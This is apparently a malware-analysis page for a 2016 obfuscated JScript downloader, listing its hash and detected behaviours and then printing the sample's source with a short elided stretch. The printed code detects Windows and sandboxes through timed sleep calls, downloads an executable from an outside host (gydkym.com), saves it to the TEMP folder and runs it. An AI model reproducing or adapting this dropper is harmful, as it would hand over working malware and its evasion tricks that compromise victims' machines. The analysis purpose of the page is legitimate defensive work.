20160328_afbd6ebb0856b60d9ed9d9338ed26c9f.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256680d0e14ef628510912ba281d27929a18d1be267c1d3747dbecd11920e8356ab
Evidence
1var Bknsdfpwvi = false;
2var Fmtggvhtrr = "CreateObject";
3var Wkapqu = function Ockjkkqtpu() {return WScript[Fmtggvhtrr]("WScript.Shell");}();
4var Druycyk = 123213;
5var Twhjet = "MSXML2.XMLHTTP";
6var Mohuuigb = 2123213;
7var Gmqcrfjl = 0;
8function Zjpeer(Mdznonjdkb){Wkapqu["Run"](Mdznonjdkb, Gmqcrfjl, Gmqcrfjl);};
9function Pcnbikjfqd(){return Twhjet;};
10function Ggyfxq(Mqido, Penippel){return Mqido - Penippel;};
11function Okvibnylr(){return Fmtggvhtrr;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Bknsdfpwvi = true;
15 @end
16@*/
17var Vfxckvpfxc = "";
18if (Bknsdfpwvi)
19{
20function Rthcphwpa(){return 22;};
21var Ojkkoch = 0; var Myfopgu = 0;
22function Hylzmzrrw()
23{
24var Rzvwtjvgyg = new this["Date"]();
25var Zdbod = Rzvwtjvgyg["getUTCMilliseconds"]();
26WScript["Sleep"](Rthcphwpa());
27var Rzvwtjvgyg = new this["Date"]();
28var Vjnvjblcg = Rzvwtjvgyg["getUTCMilliseconds"]();
29WScript["Sleep"](Rthcphwpa());
30var Rzvwtjvgyg = new this["Date"]();
31var Krtzt = Rzvwtjvgyg["getUTCMilliseconds"]();
32var Ojkkoch = "Fbjoagsv";
33Ojkkoch = Ggyfxq(Vjnvjblcg, Zdbod);
34var Myfopgu = "Ojkwsf";
35Myfopgu = Ggyfxq(Krtzt, Vjnvjblcg);
36Vfxckvpfxc = "open";
37return Ggyfxq(Ojkkoch, Myfopgu);
38}
39var Dloxssdvd = false;
40var Uhkrlfolz = false;
41for (var Pqnuwue = Gmqcrfjl; Pqnuwue < Rthcphwpa() * 1; Pqnuwue++){if (Hylzmzrrw() != Gmqcrfjl){
42Dlo …
49:5… Dloxssdvd && Pyfkl() && Uhkrlfolz){
50function Bhyclbn() {return Wkapqu["ExpandEnvironmentStrings"]("%TEMP%/") + "gNDrT4abeJALIF5t.exe";};
51 Ofydwo = Pcnbikjfqd();
52 Lxspw = WScript[Fmtggvhtrr](Ofydwo);
53 var Itqdcegip = 1;
54 while (Itqdcegip){
55try {
56Lxspw[Vfxckvpfxc]("GET", "http://gydkym.com/dk3s8sja", false);
57Lxspw["send"]();
58Ixrcjvlyf = "Sleep";
59do {WScript[Ixrcjvlyf](Rthcphwpa() * 11)} while (Lxspw["readystate"] < 4 );
60Itqdcegip = Gmqcrfjl;
61} catch(Drhos){Itqdcegip = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Bpqnvbgl(Jdlcax) {var Etqzr = (1, 2, 3, 4, 5, Jdlcax); return Etqzr;};
64Jrbtet = WScript[Okvibnylr()]("ADODB.Stream");
65Ofydwo = Jrbtet;
66Ofydwo[Vfxckvpfxc]();
67Ofydwo["type"] = Bpqnvbgl(1);
68Ofydwo["write"](Lxspw["ResponseBody"]);
69Jrbtet["position"] = Bpqnvbgl(Gmqcrfjl);
70Ofydwo["SaveToFile"](Bhyclbn(), Bpqnvbgl(2) );
71Jrbtet["close"]();
72Zjpeer(Bhyclbn());
73}
74}
75